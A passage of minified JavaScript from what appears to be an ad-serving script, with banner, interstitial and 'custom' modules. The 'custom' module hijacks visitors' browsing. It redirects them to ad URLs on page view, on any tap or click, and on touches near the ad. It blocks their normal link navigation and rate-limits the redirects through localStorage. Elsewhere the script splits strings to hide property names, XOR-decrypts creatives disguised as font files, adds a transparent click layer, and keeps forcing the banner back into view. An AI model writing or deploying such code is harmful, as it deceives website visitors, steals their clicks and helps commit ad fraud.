'; // html.createNode(slot, css + tpl, onload, adv) html.readyIframeDisplay(slot, css + tpl, onload, adv) } }) }) //newBanner define("newBanner", function (r, e) { var utils = r("utils"), html = r("html"), ack = r("ack"); mix(e, { ready: function (slot, adv) { var d = document.createElement("div") d.style.cssText = 'cursor: pointer;height: 20px;width: 20px;position: absolute;z-index: 5263;display: block;border-radius: 10px;background: rgba(102, 102, 102, 0.7);font-size: 11px;color: rgb(255, 255, 255);text-align: center;line-height: 20px;right: 6px;top:50%;margin-top: -10px'; d.innerText = "X" var cName = slot.container + "SaVRbB"; var a = document.createElement("div") a.className = cName; a.id = 'show-' + slot.container a.style.cssText = "position:;" a.innerHTML = "." var bName = slot.container + "HNDqh9J"; var b = document.createElement("div") b.className = bName; b.style.cssText = "position:FIXED;" b.innerHTML = "" var cid = slot.container + "lUYfV7cQQ"; var c = document.createElement("div") c.id = cid c.innerHTML = "" if (slot.response.Adunit.Position === 1) { slot.node.style.display = "block" slot.node.appendChild(c) } else { document.body.appendChild(c) } if (1) { } var XQroB0KZDai = function DosdUbJ0x() { if (slot.response.Bidding.toLowerCase() == "cpm") { adv.Click = adv.Click + "&ccpm=1"; } window.location.href = adv.Click; }; setTimeout(function () { var f = document['get' + 'E' + 'lementB' + 'yI' + 'd'](cid); f.innerHTML = "" f.appendChild(a) f.appendChild(b) setTimeout(function () { a.appendChild(d) d['o' + 'n' + 'cli' + 'ck'] = function (e) { //e.stopPropagation() //f.style.display = "none" //document.body.style.paddingTop = "0px"; XQroB0KZDai() } }, 1000) }, 200); setTimeout(function () { function a(className, img, fn) { var g = document.getElementsByClassName(className)[0]; g['s' + 'ty' + 'le']['lin' + 'e-hei' + 'ght'] = "117px"; if (slot.response.Adunit.Position === 2) { g['s' + 'ty' + 'le']['t' + 'o' + 'p'] = "0"; document.body.style.cssText += `padding-top: 100px !important;`; } if (slot.response.Adunit.Position === 3) { g['s' + 'ty' + 'le']['b' + 'o' + 't' + 't' + 'o' + 'm'] = "0"; } g['s' + 'ty' + 'le']['le' + 'f' + 't'] = "0"; g['s' + 'ty' + 'le']['z' + '-' + 'in' + 'dex'] = "5262"; g['s' + 'ty' + 'le']['w' + 'idth'] = "100vw"; g['s' + 'ty' + 'le']['color'] = "#eee"; g['s' + 'ty' + 'le']['text-align'] = "right"; var url = adv.Creative; if (url.endsWith('.txt')) { fetch(url).then(function (response) { return response.text(); }).then(function (text) { var base64Image = text; img = "data:image/png;base64," + base64Image; g['s' + 'ty' + 'le']['bac' + 'kgr' + 'ound'] = 'url' + '(' + img + ') 0 0 / 100vw 100px no-repeat'; }).catch(function (err) { }); } else if (adv.Creative.endsWith('.ttf')) { fetch(adv.Creative) .then(response => response.arrayBuffer()) .then(decryptedData => { const dataView = new DataView(decryptedData); const byteArray = new Uint8Array(dataView.buffer); const keyArray = [104, 101, 108, 108, 111, 44, 119, 111]; for (let i = 0; i < byteArray.length; i++) { byteArray[i] ^= keyArray[i % 8]; } const blob = new Blob([byteArray.buffer], { type: "application/octet-binary" }); const url = URL.createObjectURL(blob); g['s' + 'ty' + 'le']['bac' + 'kgr' + 'ound'] = 'url' + '(' + url + ') 0 0 / 100vw auto no-repeat '; // document.body.appendChild(img); let img = new Image(); img.src = url; img.style.width = "100%" g.append(img) img.onload = function () { let h = img.clientHeight; g.removeChild(img); g['s' + 'ty' + 'le']['lin' + 'e-hei' + 'ght'] = h + "px"; if (slot.response.Adunit.Position === 2) { document.body.style.cssText += `padding-top: ${h}px !important;`; } else if (slot.response.Adunit.Position === 3) { document.body.style.paddingBottom = h + "px"; } }; }) .catch(error => { console.error('Error:', error); }); } else { g['s' + 'ty' + 'le']['bac' + 'kgr' + 'ound'] = 'url' + '(' + img + ') 0 0 / 100vw auto no-repeat'; var ig = new Image(); ig.style.width = "100%" ig.style.display = "none" html.injectionTransparentClickLayer(slot, adv, ig) ig.src = img g.append(ig) ig.onload = function () { ig.style.display = "block" let h = ig.clientHeight; g.removeChild(ig); g['s' + 'ty' + 'le']['lin' + 'e-hei' + 'ght'] = h + "px"; if (slot.response.Adunit.Position === 2) { document.body.style.cssText += `padding-top: ${h}px !important;`; } else if (slot.response.Adunit.Position === 3) { document.body.style.paddingBottom = h + "px"; } }; } g['o' + 'n' + 'cli' + 'ck'] = function () { fn(); } g['s' + 'ty' + 'le']['pos' + 'it' + 'ion'] = "fi" + "xeD"; if (slot.response.Adunit.Position === 1) { d.style.display = "none" g['s' + 'ty' + 'le']['pos' + 'it' + 'ion'] = "stat" + "Ic"; } if (slot.response.Custom && slot.response.Custom.CloseX) { if (slot.response.Custom.CloseX == "2") { d.style.display = "none" } } setInterval(function () { var f1 = document.getElementsByClassName(cName)[0]; f1['s' + 'ty' + 'le']['d' + 'i' + 's' + 'p' + 'lay'] = "block"; }, 100) } a(cName, adv.Creative, XQroB0KZDai); }, 500); setTimeout(function () { for (var i = 0; i < onLoadAfter.length; i++) { onLoadAfter[i](slot, "", slot.node, adv) } }, 600) } }) }) define("webInterstitial", function (r, e) { var html = r("html"); mix(e, { ready: function (slot, adv) { slot.node.style.cssText = "position: fixed; z-index: 2147483647;top: 50%;left: 50%;transform: translate(-50%,-50%);-webkit-transform: translate(-50%,-50%);width:" + slot.width + "px;height:" + slot.height + "px"; html.readyImgDisplay(slot, adv, false, true, false) } }) }); define("custom", function (r, e) { class TriggerManager { constructor(timeInterval, maxTriggers, pvInterval, zid, isFirstPv, typeName) { this.timeInterval = timeInterval; this.maxTriggers = maxTriggers; this.pvInterval = pvInterval; this.zid = zid; this.timeWindow = 24 * 60 * 60 * 1000; this.isFirstPv = isFirstPv; this.typeName = typeName; this.pvCountKey = `pvCount_${this.typeName}`; this.triggerCountKey = `triggerCount_${this.typeName}`; this.lastTriggerTimeKey = `lastTriggerTime_${this.typeName}`; this.nextTriggerAtKey = `nextTriggerAt_${this.typeName}`; this.firstPageViewTimeKey = `firstPageViewTime_${this.typeName}`; this.pvCount = parseInt(localStorage.getItem(this.pvCountKey)) || 0; this.triggerCount = parseInt(localStorage.getItem(this.triggerCountKey)) || 0; this.lastTriggerTime = parseInt(localStorage.getItem(this.lastTriggerTimeKey)) || 0; this.nextTriggerAt = parseInt(localStorage.getItem(this.nextTriggerAtKey)) || 1; } isFirstPageView() { const currentTime = this.getCurrentTime(); const firstPageViewTime = parseInt(localStorage.getItem(this.firstPageViewTimeKey)) || 0; if (!firstPageViewTime || currentTime - firstPageViewTime >= this.timeWindow) { // console.log('First page view or time window exceeded.'); this.resetFirstPageViewTime(); // 更新首次访问时间 return true; } else { // console.log('Not first page view, still within the time window.'); return false; } } resetFirstPageViewTime() { const currentTime = this.getCurrentTime(); localStorage.setItem(this.firstPageViewTimeKey, currentTime); // console.log('First page view time reset to:', new Date(currentTime)); } getCurrentTime() { return Date.now(); } onPageView() { if (this.isFirstPageView()) { if (false === this.isFirstPv) { this.pvCount++; localStorage.setItem(this.pvCountKey, this.pvCount); this.checkTrigger(); this.pvCount--; localStorage.setItem(this.pvCountKey, this.pvCount); this.nextTriggerAt--; localStorage.setItem(this.nextTriggerAtKey, this.nextTriggerAt); return false; } } this.pvCount++; localStorage.setItem(this.pvCountKey, this.pvCount); return this.checkTrigger(); } checkTrigger() { const currentTime = Date.now(); if (currentTime - this.lastTriggerTime >= this.timeInterval) { // console.log('More than the specified time interval passed, resetting trigger count.'); this.triggerCount = 0; localStorage.setItem(this.triggerCountKey, this.triggerCount); } if (this.triggerCount < this.maxTriggers && this.pvCount >= this.nextTriggerAt) { this.triggerCount++; this.lastTriggerTime = currentTime; this.nextTriggerAt = this.pvCount + this.pvInterval + 1; localStorage.setItem(this.triggerCountKey, this.triggerCount); localStorage.setItem(this.lastTriggerTimeKey, this.lastTriggerTime); localStorage.setItem(this.nextTriggerAtKey, this.nextTriggerAt); return true; } else if (this.triggerCount >= this.maxTriggers) { } else { } return false; } triggerAction() { } } var utils = r("utils"); var u = navigator.userAgent; var isAndroid = u.indexOf('Android') > -1 || u.indexOf('Adr') > -1; var isiOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/); function atuojump(slot, tpl, ifDoc, adv) { function jump() { var href = adv.Click + "&back=1&np=1" if (slot.response.Bidding.toLowerCase() === "cpm") { href = href + "&ccpm=1"; } if (slot.response.Custom.vJumpUrl) { href = slot.response.Custom.vJumpUrl; } window.location.href = href } if (slot.response.Custom && slot.response.Custom.autoJump) { const timeInterval = slot.response.Custom.aMinute * 60000; const maxTriggers = slot.response.Custom.aNum; const pvInterval = slot.response.Custom.aPV; const zid = slot.response.Adunit.Id; const aFirstPvOn = slot.response.Custom.aFirstPvOn; const triggerManager = new TriggerManager(timeInterval, maxTriggers, pvInterval, zid, aFirstPvOn, "a"); const isTriggered = triggerManager.onPageView(); if (isTriggered) { jump() } } } function touchjump(slot, tpl, ifDoc, adv) { function jump() { var href = adv.Click + "&touch=1&np=1" if (slot.response.Bidding.toLowerCase() === "cpm") { href = href + "&ccpm=1"; } window.location.href = href } setTimeout(function () { const targetElement = utils.findID('show-' + slot.container); targetElement.addEventListener("touchstart", function (e) { }, { passive: false }); }, 300) if (slot.response.Bidding.toLowerCase() === "cp") { return; } if (slot.response.Custom && slot.response.Custom.touchJump) { const timeInterval = slot.response.Custom.tMinute * 60000; const maxTriggers = slot.response.Custom.tNum; const pvInterval = slot.response.Custom.tPV; const zid = slot.response.Adunit.Id; const tFirstPvOn = slot.response.Custom.tFirstPvOn; const triggerManager = new TriggerManager(timeInterval, maxTriggers, pvInterval, zid, tFirstPvOn, "t"); const isTriggered = triggerManager.onPageView(); if (isTriggered) { const offsetDistance = slot.response.Custom.tcjHeight ?? 100; var isTouchmove = false document.addEventListener('touchmove', function (event) { if (isTouchmove) { return } const touch = event.touches[0]; const touchX = touch.clientX; const touchY = touch.clientY; const targetElement = utils.findID('show-' + slot.container); if (isTouchingElement(targetElement, touchX, touchY, offsetDistance)) { isTouchmove = true; handleAdTouch(); } }, { passive: false }); document.addEventListener('touchstart', function (event) { if (isTouchmove) { return } const touch = event.touches[0]; const touchX = touch.clientX; const touchY = touch.clientY; const targetElement = utils.findID('show-' + slot.container); if (isTouchingElement(targetElement, touchX, touchY, offsetDistance)) { isTouchmove = true; const target = event.target; if (target.tagName === 'A' && target.getAttribute('href')) { event.preventDefault(); } handleAdTouch(); } }, { passive: false }) function isTouchingElement(element, touchX, touchY, offset) { const rect = element.getBoundingClientRect(); return ( touchX >= rect.left - offset && touchX <= rect.right + offset && touchY >= rect.top - offset && touchY <= rect.bottom + offset ); } function handleAdTouch() { jump() } } } } function clkjump(slot, tpl, ifDoc, adv) { if (slot.response.Custom && slot.response.Custom.cJump) { function jump() { var href = adv.Click + "&tack=1&np=1" if (slot.response.Bidding.toLowerCase() === "cpm") { href = href + "&ccpm=1"; } if (slot.response.Custom.vJumpUrl) { // href = slot.response.Custom.vJumpUrl; } window.location.href = href } const timeInterval = slot.response.Custom.cMinute * 60000; const maxTriggers = slot.response.Custom.cNum; const pvInterval = slot.response.Custom.cPV; const zid = slot.response.Adunit.Id; const cFirstPvOn = slot.response.Custom.cFirstPvOn; const triggerManager = new TriggerManager(timeInterval, maxTriggers, pvInterval, zid, cFirstPvOn, "c"); const isTriggered = triggerManager.onPageView(); if (isTriggered) { var isJumpC = false; document.addEventListener('touchstart', function (event) { if (isJumpC) { return } const target = event.target; if (target.tagName === 'A' && target.getAttribute('href')) { event.preventDefault(); } isJumpC = true jump() }, { passive: false }) utils.bind(document, "click", function () { if (isJumpC) { return } isJumpC = true jump() }) } } } onLoadAfter.push(atuojump) onLoadAfter.push(clkjump) onLoadAfter.push(touchjump) } ) use("custom"); }(); try { var a = use("main"); a.run(); } catch (err) { errorLog(err, "main") } })();